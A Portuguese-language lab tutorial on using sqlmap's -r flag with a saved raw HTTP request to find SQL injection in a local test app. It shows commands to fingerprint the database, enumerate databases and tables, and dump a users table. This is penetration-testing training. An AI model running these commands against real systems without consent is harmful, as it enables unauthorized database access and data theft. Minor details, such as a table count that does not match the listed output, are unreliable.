Introdução
Neste laboratório, você aprenderá uma técnica poderosa para usar o sqlmap, uma popular ferramenta de teste de penetração de código aberto, para detectar falhas de injeção de SQL. Em vez de fornecer diretamente uma URL de destino, você capturará uma requisição HTTP completa usando uma ferramenta de proxy como Burp Suite ou ZAP, a salvará em um arquivo e, em seguida, instruirá o sqlmap a usar este arquivo para seu processo de escaneamento. Este método é particularmente útil ao lidar com requisições complexas (por exemplo, requisições POST com muitos parâmetros, cabeçalhos personalizados ou tokens de autenticação) ou quando você deseja reproduzir uma requisição específica sem reconstruí-la manualmente. Ao final deste laboratório, você será proficiente em alavancar requisições HTTP capturadas para testes de injeção de SQL mais precisos e flexíveis com o sqlmap.
Capturar uma Requisição HTTP Completa com Burp Suite ou ZAP
Nesta etapa, você aprenderá como capturar uma requisição HTTP completa usando uma ferramenta de proxy web. Embora Burp Suite e ZAP sejam escolhas comuns, para simplificar e evitar complexidades de GUI neste laboratório baseado em terminal, simularemos a captura de uma requisição construindo diretamente uma requisição HTTP bruta para uma aplicação web vulnerável.
Primeiro, vamos garantir que nossa aplicação web vulnerável fictícia esteja acessível. Abra um novo terminal e use curl para fazer uma requisição a ela.
curl http://localhost/sqli_test/index.php?id=1
Você deverá ver uma saída semelhante a esta, confirmando que a aplicação está em execução:
id: 1 - Name: Alice<br>
Agora, criaremos manualmente uma requisição HTTP bruta que o sqlmap possa usar. Esta requisição terá como alvo o parâmetro id, que é vulnerável à injeção de SQL.
nano ~/project/request.txt
Cole o seguinte conteúdo no arquivo request.txt. Isso representa uma requisição GET simples para nossa aplicação vulnerável.
GET /sqli_test/index.php?id=1 HTTP/1.1
Host: localhost
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/115.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: close
Upgrade-Insecure-Requests: 1
Salve o arquivo pressionando Ctrl+X, depois Y para confirmar e Enter para salvar em request.txt.
Salvar a Requisição Bruta em um Arquivo de Texto (ex: request.txt)
Na etapa anterior, você já criou e salvou a requisição HTTP bruta em ~/project/request.txt. Este arquivo agora contém todas as informações necessárias para que o sqlmap entenda o alvo e como interagir com ele, incluindo o método HTTP (GET), o caminho (/sqli_test/index.php), os parâmetros (id=1) e vários cabeçalhos HTTP.
Para confirmar o conteúdo do arquivo, você pode usar o comando cat:
cat ~/project/request.txt
A saída deverá exibir a requisição HTTP exata que você colou:
GET /sqli_test/index.php?id=1 HTTP/1.1
Host: localhost
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/115.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: close
Upgrade-Insecure-Requests: 1
Este arquivo request.txt está agora pronto para ser utilizado pelo sqlmap.
Usar a Flag -r para Carregar o Arquivo de Requisição
Nesta etapa, você aprenderá sobre a flag -r no sqlmap. A flag -r instrui o sqlmap a carregar a requisição HTTP de um arquivo especificado em vez de exigir uma URL diretamente na linha de comando. Isso é crucial para escanear requisições complexas ou reproduzir tráfego capturado.
A sintaxe básica para usar a flag -r é:
sqlmap -r < arquivo_requisicao > [opcoes]
Onde <arquivo_requisicao> é o caminho para o arquivo que contém sua requisição HTTP bruta. No nosso caso, será ~/project/request.txt.
Antes de executar o escaneamento completo, vamos tentar um teste simples para garantir que o sqlmap possa analisar o arquivo corretamente. Usaremos a opção --url com uma URL fictícia, apenas para satisfazer o requisito do sqlmap por um alvo, mas a requisição real virá do arquivo. Esta é uma prática comum ao usar -r.
sqlmap -r ~/project/request.txt --url="http://localhost/sqli_test/index.php" --fingerprint
A opção --fingerprint tenta identificar o sistema de gerenciamento de banco de dados (DBMS) de back-end. Se o sqlmap processar o arquivo de requisição com sucesso, ele iniciará seu processo de fingerprinting. Você pode ser solicitado com perguntas; para este laboratório, você geralmente pode aceitar as opções padrão pressionando Enter ou y.
Você deverá ver o sqlmap iniciando seu processo, indicando que está lendo do arquivo. Procure por uma saída semelhante a:
_
___ ___ ___ ___
|_ -| . | . | . |
|___|_ |_ |_ |
|_| |_| |_| 3.7#dev (r18600)
[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. sqlmap developers assume no liability and are not responsible for any misuse or damage caused by this program.
[*] starting @ 12:34:56 /2023-10-27/
[12:34:56] [INFO] parsing HTTP request from '/home/labex/project/request.txt'
...
Isso confirma que o sqlmap está carregando corretamente a requisição de request.txt.
Executar o Scan usando sqlmap -r request.txt
Agora que você entende como carregar o arquivo de requisição, é hora de executar um scan completo de injeção de SQL usando sqlmap com a flag -r. Usaremos algumas opções comuns para tornar o scan mais eficaz.
O comando será:
sqlmap -r ~/project/request.txt --batch --dbs
Vamos detalhar essas opções:
-r ~/project/request.txt: Carrega a requisição HTTP do arquivorequest.txt.--batch: Executa osqlmapem modo não interativo, respondendo automaticamente "sim" à maioria das perguntas. Isso é útil para scripting ou quando você sabe o que esperar.--dbs: Enumera os bancos de dados do sistema de gerenciamento de banco de dados (DBMS). Este é um primeiro passo comum para descobrir os bancos de dados disponíveis.
Execute o comando:
sqlmap -r ~/project/request.txt --batch --dbs
O sqlmap agora começará seu processo de escaneamento. Ele testará várias técnicas de injeção de SQL contra o parâmetro id na requisição. Como nossa aplicação dummy é vulnerável, o sqlmap eventualmente identificará a vulnerabilidade e listará os bancos de dados disponíveis.
Você verá muitas saídas enquanto o sqlmap realiza seus testes. Procure por linhas indicando a detecção de uma vulnerabilidade e a enumeração de bancos de dados.
Exemplo de trecho de saída:
...
[12:35:00] [INFO] GET parameter 'id' appears to be 'MySQL >= 5.0.0' injectable (UNION query (NULL))
...
available databases [2]:
[*] information_schema
[*] testdb
...
Esta saída confirma que o sqlmap identificou com sucesso o parâmetro id como vulnerável e encontrou o banco de dados testdb, que criamos na configuração.
Verificar se o Scan Tem como Alvo os Parâmetros Corretos do Arquivo
Nesta etapa final, confirmaremos que o sqlmap identificou e direcionou corretamente o parâmetro id do nosso arquivo request.txt. Isso é crucial para garantir que sua requisição capturada está sendo interpretada conforme o esperado.
Quando o sqlmap inicia, ele geralmente identifica os parâmetros injetáveis. Você pode observar isso na saída da etapa anterior. Especificamente, procure por linhas que mencionam "GET parameter 'id' appears to be... injectable".
Para verificar ainda mais, vamos tentar extrair dados de uma tabela dentro do nosso banco de dados testdb. Usaremos a opção --dump juntamente com a especificação do banco de dados e da tabela.
Primeiro, vamos listar as tabelas em testdb:
sqlmap -r ~/project/request.txt --batch -D testdb --tables
Você deverá ver o sqlmap identificando a tabela users:
...
Database: testdb
[2 tables]
+-------+
| users |
+-------+
...
Agora, vamos extrair os dados da tabela users:
sqlmap -r ~/project/request.txt --batch -D testdb -T users --dump
Este comando instrui o sqlmap a extrair todas as entradas da tabela users dentro do banco de dados testdb, usando a requisição carregada de request.txt.
Você deverá ver os dados da tabela users, confirmando que o sqlmap analisou com sucesso o arquivo request.txt, identificou o parâmetro id e explorou com sucesso a vulnerabilidade de injeção de SQL para extrair dados.
...
Database: testdb
Table: users
[3 entries]
+----+---------+
| id | name |
+----+---------+
| 1 | Alice |
| 2 | Bob |
| 3 | Charlie |
+----+---------+
...
Isso confirma que o sqlmap analisou corretamente o arquivo request.txt, identificou o parâmetro id e explorou com sucesso a vulnerabilidade de injeção de SQL para extrair dados.
Resumo
Neste laboratório, você aprendeu com sucesso como alavancar a poderosa flag -r do sqlmap para escanear vulnerabilidades de injeção de SQL usando um arquivo de requisição HTTP capturado. Você começou entendendo o conceito de capturar requisições HTTP brutas, depois criou manualmente um arquivo request.txt representando uma requisição GET para uma aplicação vulnerável. Em seguida, usou sqlmap -r request.txt para iniciar scans, primeiro para identificar o banco de dados (fingerprinting), e depois para enumerar bancos de dados e extrair dados de uma tabela específica. Este método oferece imensa flexibilidade, permitindo testar cenários complexos, reproduzir tráfego específico e integrar o sqlmap de forma mais fluida em seu fluxo de trabalho de testes de penetração em aplicações web. Dominar esta técnica é uma habilidade valiosa para qualquer profissional ou entusiasta de segurança.


